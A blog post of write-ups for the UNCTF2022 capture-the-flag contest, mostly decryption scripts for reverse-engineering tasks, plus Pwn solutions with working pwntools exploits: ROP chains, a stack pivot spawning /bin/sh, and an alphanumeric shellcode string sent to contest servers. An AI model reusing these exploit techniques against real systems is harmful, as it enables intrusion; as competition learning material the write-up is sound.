UNCTF2022Pwn和Reverse的部分题解(其他方向的签到题也有)

UNCTF

Reverse

whereisyourkey

这题我没写脚本,因为数据是一个一个对比过去的,我们可以通过动调paste数据来一个一个获得flag。

flag:UNCTF{yesiamflag}



ezzzzre

先用upx脱壳,再一步非常简单的加密,直接上脚本

#include<stdio.h>
#include<string.h>
#include<stdint.h>


int main()
{
    char table[] = "HELLOCTF";
    for (int i = 0; i < 8; i++)
    {
        printf("%c",2*table[i]-69);
    }
    return 0;

}

flag:UNCTF{KESSYAcG}



Sudoku

这题看起来要解数独,实际上根本不需要,你输入的数据是与v12这个矩阵对比,v12矩阵是已经完全填好的,最后的flag需要俩步运算,脚本如下

#include<stdio.h>
#include<string.h>
#include<stdint.h>


int main()
{
 
    int table[81]={ 8, 5, 2, 4, 9, 1, 6, 7, 3,
1, 9, 6, 7, 3, 8, 2, 5, 4,
4, 3, 7, 5, 6, 2, 9, 1, 8,
5, 2, 8, 1, 4, 6, 3, 9, 7,
3, 7, 4, 9, 2, 5, 8, 6, 1,
9, 6, 1, 3, 8, 7, 4, 2, 5,
2, 1, 9, 8, 5, 4, 7, 3, 6,
7, 4, 3, 6, 1, 9, 5, 8, 2,
6, 8, 5, 2, 7, 3, 1, 4, 9 };
    int table1[81]={ 0, 0, 0, 4, 9, 0, 0, 0, 3,
0, 9, 6, 7, 0, 8, 0, 0, 0,
0, 0, 7, 0, 0, 0, 0, 1, 8,
0, 2, 8, 0, 4, 0, 0, 0, 7,
3, 0, 0, 0, 2, 0, 0, 0, 1,
0, 6, 0, 0, 8, 0, 4, 2, 0,
2, 0, 0, 0, 0, 4, 7, 3, 0,
7, 0, 3, 6, 0, 9, 0, 0, 0,
0, 8, 0, 0, 0, 0, 1, 4, 0 };
    
    for (int i = 0; i < 9; i++)
    {
        unsigned int v9=0;
        for (int j = 0; j < 9; j++)
        {
            v9 += table[i * 9 + j] - table1[i * 9 + j];
        }
        v9 += 50;
        printf("%c",v9);
    }
    return 0;

}

flag:UNCTF{OAOJYKOFR}



ezast

AST:抽象语法树,一般来说这题需要工具,但这题我纯纯看出来的,十分简单的加密,脚本如下

#include<stdio.h>

int main()
{
	char encode[] = "OTYN\\a[inE+iEl.hcEo)ivo+g";
	for (int i = 0; i < 26; i++)
	{
		encode[i] = encode[i] ^ 25 + 1;
	}
	for (int i = 0; i < 26; i++)
	{
		printf("%c",encode[i]);
	}
	return 0;
}

flag:UNCTF{Ast_1s_v4ry_u3slu1}



今天喝茶,明天上班

一眼xxtea加密,但是做了点手脚

.rdata:00407720 TlsCallbacks    dd offset TlsCallback_0 ; DATA XREF: .rdata:TlsCallbacks_ptr↓o
.rdata:00407724                 dd offset TlsCallback_1

在这两处地方做了手脚

对密钥重新进行了赋值和异或运算

xxtea板子网上找的,网上都有

#include <stdio.h>
#include <stdint.h>
#define DELTA 0x74746561
#define MX (((z>>6^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[e^p&3] ^ z)))

void btea(uint32_t* v, int n, uint32_t const key[4])
{
    uint32_t y, z, sum;
    unsigned int p, rounds, e;
    if (n > 1)           
    {
        rounds = 6 + 52 / n;
        sum = 0;
        z = v[n - 1];
        do
        {
            sum += (int)DELTA;
            e = (sum >> 2) & 3;
            for (p = 0; p < n - 1; p++)
            {
                y = v[p + 1];
                z = v[p] += MX;
            }
            y = v[0];
            z = v[n - 1] += MX;
        } while (--rounds);
    }
    else if (n < -1)      
    {
        n = -n;
        rounds = 6 + 52 / n;
        sum = rounds * DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p = n - 1; p > 0; p--)
            {
                z = v[p - 1];
                y = v[p] -= MX;
            }
            z = v[n - 1];
            y = v[0] -= MX;
            sum -= (int)DELTA;
        } while (--rounds);
    }
}


int main()
{
    uint32_t v[] = { 0x74,0x73,0x65,0x44,0x7b,0x33,0x67,0x30,0x64,0x64,0x33,0x37,0x32,0x63,0x38,0x33,0x34,0x64,0x39,0x2d,0x66,0x34,0x2d,0x35,0x39,0x2d,0x61,0x37,0x2d,0x30,0x64,0x62,0x31,0x61,0x30,0x39,0x30,0x39,0x39,0x65,0x7d,0x31,0x63,0x37 };
    uint32_t const k[4] = { 0x61,0x65,0x74,0x74 };
    int n = 11;

    //btea(v, -n, k);

    for (int i = 0; i < 44; i+=4)
    {
        printf("%c%c%c%c", v[i+3],v[i+2],v[i+1],v[i]);
    }
    return 0;
}

数据已经被我处理好了,所以把解密注释掉了

flag:Dest0g3{73dd38c2-9d45-4f7a-9bd0-90a1e9907c1}



Hellorust

一眼rc4加密,字里行间都有暗示,key也有说明,直接上脚本

板子网上一样有

#include<stdio.h>


typedef struct _RC4INFO
{
	unsigned char s_box[256];
	unsigned char t_box[256];
}RC4_INFO, * PRC4_INFO;



void rc4_init(PRC4_INFO prc4, unsigned char key[], unsigned int keylen)
{
	int i = 0;
	int j = 0;
	unsigned char tmp;
	if (prc4 == NULL)
	{
		return;
	}


	for (i = 0; i < 256; i++)
	{
		prc4->s_box[i] = i;
		prc4->t_box[i] = key[i % keylen];
	}


	for (i = 0; i < 256; i++)
	{
		j = (j + prc4->s_box[i] + prc4->t_box[i]) % 256;

		tmp = prc4->s_box[i];
		prc4->s_box[i] = prc4->s_box[j];
		prc4->s_box[j] = tmp;
	}
}


void rc4_crypt(unsigned char data[], unsigned int datalen, unsigned char key[], unsigned int keylen)	
{
	int dn = 0;
	int i = 0;
	int j = 0;	
	int t = 0;	
	unsigned char tmp;

	RC4_INFO rc4;
	rc4_init(&rc4, key, keylen);
	for (dn = 0; dn < datalen; dn++)
	{

		i = (i + 1) % 256;
		j = (j + rc4.s_box[i]) % 256;


		tmp = rc4.s_box[i];
		rc4.s_box[i] = rc4.s_box[j];
		rc4.s_box[j] = tmp;


		t = (rc4.s_box[i] + rc4.s_box[j]) % 256;
		data[dn] ^= rc4.s_box[t];
	}
}

void EntryBuffer(unsigned char data[], unsigned int datalen)
{
	unsigned char key[] = "UnCtF2022";
	rc4_crypt(data, datalen, key, 9);
}

int main()
{
	unsigned char Hell[] = {
  0x87, 0x69, 0x27, 0x21, 0x6F, 0xC7, 0x31, 0x26, 0x1B, 0x6C,
  0x3A, 0x74, 0x9A, 0x62, 0x6E, 0xA0, 0x02, 0x81, 0x1D, 0x85,
  0xE0, 0xE2, 0xD0, 0x71, 0xF4, 0xA3, 0x09, 0x0E
	};

	EntryBuffer((unsigned char*)Hell, 28);
	for (int i = 0; i < 28; i++)
	{
		printf("%c",Hell[i]);
	}

	return 0;
}

unctf{Ru5t_Rc4_1s_2_e@zy!!!}



halo

脱壳+简单加密,直接上脚本

#include<stdio.h>
#include<string.h>
#include<stdint.h>


int main()
{
    unsigned char encode[] = { 0x55, 0x0B, 0x68, 0x0C, 0x73, 0x3E, 0x0C, 0x3A, 0x5D, 0x1B, 0x21, 0x75, 0x4F, 0x20, 0x4C, 0x71,
    0x58, 0x7B, 0x59, 0x2C, 0x00, 0x77, 0x58, 0x77, 0x0E, 0x72, 0x5B, 0x26, 0x0B, 0x70, 0x0A, 0x77,
    0x66, 0x77, 0x36, 0x76, 0x37, 0x76, 0x62, 0x72, 0x6D, 0x27, 0x3F, 0x77, 0x26,0x26 };
    for (int i = 45; i > 0; i--)
    {
        encode[i] ^= encode[i - 1];
        encode[i - 1] ^= i - 1;
    }
    for (int i = 0; i < 45; i++)
    {
        printf("%c", encode[i]);
    }
    return 0;

}

flag解出来稍微有点小问题,但是正确性不影响

flag:UNCTF{H41oO0_6bb2920f8b98ae3f1fdb10cced277c2c}



shelled_babyxor

对脱壳进行改动,不能用软件脱,需要手动脱,加密倒是很简单

#include<stdio.h>
#include<string.h>
#include<stdint.h>


int main()
{
    int v1 = 38;
    unsigned char encode[] = { 0x73,0x68,0x65,0x72,0x60,0x5d,0x5f,0x49,0x53,0x79,0x4c,0x53,0x55,0x52,0x79,0x53,0x48,0x56,0x47,0x45,0x4d,0x43,0x42,0x79,0x5f,0x49,0x53,0x54,0x79,0x40,0x4f,0x54,0x55,0x52,0x79,0x56,0x54,0x49,0x41,0x54,0x47,0 };
    for (int i = 0; i < 41; i++)
    {
        printf("%c", encode[i] ^ v1);
    }
    return 0;

}

解出来的代码少了一个字符,不过猜也能猜到

flag:UNCTF{you_just_unpacked_your_first_program}



helloxorworld

动调感受,就会发现加密就那一步

#include<stdio.h>
#include<string.h>
#include<stdint.h>


int main()
{
    unsigned char encode[39] = {
        0x16, 0x1B, 0x58, 0x2F, 0x12, 0x69, 0x01, 0x57, 0x65, 0x55, 0x0D, 0x6C, 0x50, 0x04, 0x31, 0x54,
        0x07, 0x32, 0x04, 0x05, 0x35, 0x55, 0x0A, 0x6C, 0x08, 0x0B, 0x3B, 0x53, 0x06, 0x60, 0x52, 0x55,
        0x30, 0x51, 0x07, 0x64, 0x18, 0x04, 0x79
    };
    for (int i = 2; i < 39; i+=3)
    {
        encode[i] ^= encode[i - 1] ^ encode[i - 2];
        encode[i - 1] ^= encode[i];
        encode[i - 2] ^= encode[i];
    }
    for (int i = 2; i < 39; i+=3)
    {
        printf("%c%c%c",encode[i],encode[i-1],encode[i-2]);
    }
    return 0;

}

flag:UNCTF{3d249aea5af541039f83053f7be25cea}



Rusty CPU

这道题比较难,我看了很久才理解,模拟寄存器操作,验证你的输入,验证对之后,会将你的输入解密,就变成flag了,所以关键那一步是verify key

模拟寄存器有如下操作:

1.0x80 0x14 reg[1]=0x14下一个的数据

2.0x80 0x12 reg[0]=reg[x]-reg[y] (x,y是1或0,具体是哪个减哪个,我也不是特别清楚,大概是大的数减小的数)

3.0x80 0x05 验证你的key

4.0x81 0x11 reg[0]+=reg[1]

5.0x81 0x13 reg[0]^=reg[1]

6.0x11 0x11 初始化

7.0x22 0x22 reg[0]=key[index] (将你的输入放到reg[0])

我选择用z3求解

from z3 import *
encode=[  0x67, 0x83, 0x67, 0x70, 0x29, 0x27, 0x7F, 0x68, 0x6B, 0x76, 
  0x69, 0x76, 0x74, 0x59, 0x73, 0x74, 0x6F, 0x83, 0x24, 0x91, 
  0x7B, 0x20, 0x54, 0x16, 0x84, 0x58, 0x93, 0x62, 0x5D, 0x66, 
  0x59, 0x4F]
v1=[BitVec("%d"%i,8)for i in range(32)]
s=Solver()
s.add((((v1[0]+0x1d)^0x13)-0x19)==encode[0])
s.add(((v1[1]+0x1f)^0x10)-0x15==encode[1])
s.add(0xfa-(v1[2]+0x1d)==encode[2])
s.add(0xfa-(v1[3]+0x1b)==encode[3])
s.add(((v1[4]+0x1e)^0x18)-0x22==encode[4])
s.add((v1[5]^0x17)==encode[5])
s.add(((v1[6]+0x24)^0x1a)-0x1a==encode[6])
s.add(((v1[7]+0x1e)^0x16)-0x1c==encode[7])
s.add(0xfa-(v1[8]+0x20)==encode[8])
s.add(((v1[9]+0x24)^0x14)-0x21==encode[9])
s.add(0xfa-(v1[10]+0x24)==encode[10])
s.add((v1[11]^0x1d)==encode[11])
s.add(((v1[12]+0x29)^0x1f)-0x23==encode[12])
s.add(((v1[13]+0x2b)^0x1a)-0x1d==encode[13])
s.add((v1[14]^0x1e)==encode[14])
s.add(((v1[15]+0x27)^0x1b)-0x23==encode[15])
s.add((v1[16]^0x1d)==encode[16])
s.add(((v1[17]+0x2a)^0x24)-0x26==encode[17])
s.add(((v1[18]+0x2a)^0x1c)-0x23==encode[18])
s.add(((v1[19]+0x30)^0x27)-0x25==encode[19])
s.add(((v1[20]+0x2d)^0x26)-0x2f==encode[20])
s.add(((v1[21]+0x2b)^0x22)-0x30==encode[21])
s.add((v1[22]^0x26)==encode[22])
s.add(((v1[23]+0x2f)^0x21)-0x2d==encode[23])
s.add(((v1[24]+0x36)^0x27)-0x2c==encode[24])
s.add((v1[25]^0x2c)==encode[25])
s.add(((v1[26]+0x37)^0x28)-0x2b==encode[26])
s.add(0xfa-(v1[27]+0x37)==encode[27])
s.add(0xfa-(v1[28]+0x36)==encode[28])
s.add(0xfa-(v1[29]+0x33)==encode[29])
s.add(0xfa-(v1[30]+0x38)==encode[30])
s.add(((v1[31]+0x3d)^0x2f)-0x35==encode[31])

flag=[]
if s.check()==sat:
   result=s.model()
   for i in v1:
        flag.append(result[i])
print(flag)

输出的是字符的ASCII码值,转成字符,输入到程序,即可得出结果(这程序是ELF文件,你得放虚拟机里才能运行)

flag:UNCTF{B1den_will_make_Ch1na_gr3at!}

Pwn

welcomeUNCTF2022

签到题

from pwn import *
p=remote("node.yuzhian.com.cn",32637)
p.sendline("UNCTF&2022")
p.interactive()


石头剪刀布

交互题,也是简单的,交互100次就能拿到flag(当随机种子固定时,它每次的随机值也是确定的)

from pwn import *
table=[1,1,2,2,0,2,2,1,2,2,2,2,0,0,2,1,0,1,2,0,0,1,1,1,1,2,1,1,1,0,0,2,0,1,2,0,0,1,0,2,1,2,1,2,0,1,1,1,0,0,2,0,2,1,2,1,0,0,2,2,1,1,2,1,2,2,2,2,1,0,2,0,2,0,0,1,2,2,2,0,0,1,0,1,0,0,2,0,1,0,0,2,1,1,1,1,0,1,1,2]
p=remote("node.yuzhian.com.cn",32892)
p.sendlineafter("(y/n)",'y')
#0.rock 1.scissor 2.paper
for i in range(100):
	p.recvuntil("]")
	if table[i] == 0:
		p.sendline("2")
	elif table[i] == 1:
		p.sendline("0")
	elif table[i] == 2:
		p.sendline("1")
	p.recvuntil("success!!!")
p.interactive()


move your heart

栈迁移

Advanced ROP (yuque.com)

from pwn import *
context(log_level='debug')
p=remote("node.yuzhian.com.cn",38964)
elf=ELF("./move_your_heart")
#p=process("./move_your_heart")
#gdb.attach(p)
system_plt=elf.plt["system"]
leave_ret=0x4012d6
pop_rdi_ret=0x4013d3
p.sendlineafter("num:",'286129175')
p.recvuntil("Success!!!")
p.recvuntil(":")
buf_addr=int(p.recv(14),16)
print("buf_addr="+hex(buf_addr))
payload=('/bin/sh\x00'+p64(pop_rdi_ret)+p64(buf_addr)+p64(system_plt))+p64(buf_addr)+p64(leave_ret)
p.send(payload)

p.interactive()


checkin

简单的绕过和ROP

atoi

ROP上面的学习网站有

from pwn import *
context(log_level="debug")
p=remote("node.yuzhian.com.cn",36917)
elf=ELF("./checkin")
puts_plt=elf.plt["puts"]
flag_addr=0x6010c0
pop_rdi_ret=0x400a53
p.sendafter("name: ",'1')
p.recvuntil("size: ")
p.send(" -1")
payload='a'*(0x50+8)+p64(pop_rdi_ret)+p64(flag_addr)+p64(puts_plt)
p.send(payload)
p.interactive()


int_0x80

过滤的shellcode

metasploit之字母数字的shellcode

from pwn import *
context(os='linux',arch="amd64",log_level='debug')
p=remote("node.yuzhian.com.cn",32619)
p.recvuntil("pwn")
shellcode='Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'

payload=shellcode
p.send(payload)
p.interactive()

Web

我太喜欢bilibili大学啦

直接在页面上查找flag就能找到

ezgame

玩游戏出了

crypto

md5-1

随便找个md5网站都解了

dddd

与摩斯码表对比就知道,1看作短,0看作长,就能在线求解了

casaer

偏移量为19

手动一个一个算,有些字符是错的,通过一个一个爆破提交即可得出



MISC

magic_word

零宽度隐写

放个零宽度网站直接解

社什么社

出题人的所在省份,凤凰古城

找得到我吗

就藏在字体里

1111



syslog

2222

用7zip打开发现有隐藏文件syslog

ubuntu bi0x: [Password] cGFzc3dvcmQgaXMgVTZudTJfaTNfYjNTdA==

从里面找到这玩意,一眼base64加密 解密后是password,即可得出flag

in_the_morse_garden

把图片删了之后发现是base64加密,放网站解后,发现是依古比古玛卡巴卡重复,根据题目猜到是摩斯电码,依古比古是儿子代表.,玛卡巴卡是父亲代表-,

.–/.-/-./…–.-/.-/-./…–.-/–/.-/-.-/.-/…–.-/-…/.-/-.-/.-/.-/.-/.-/.-/-.-.–/

就可解出flag

  • 9
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值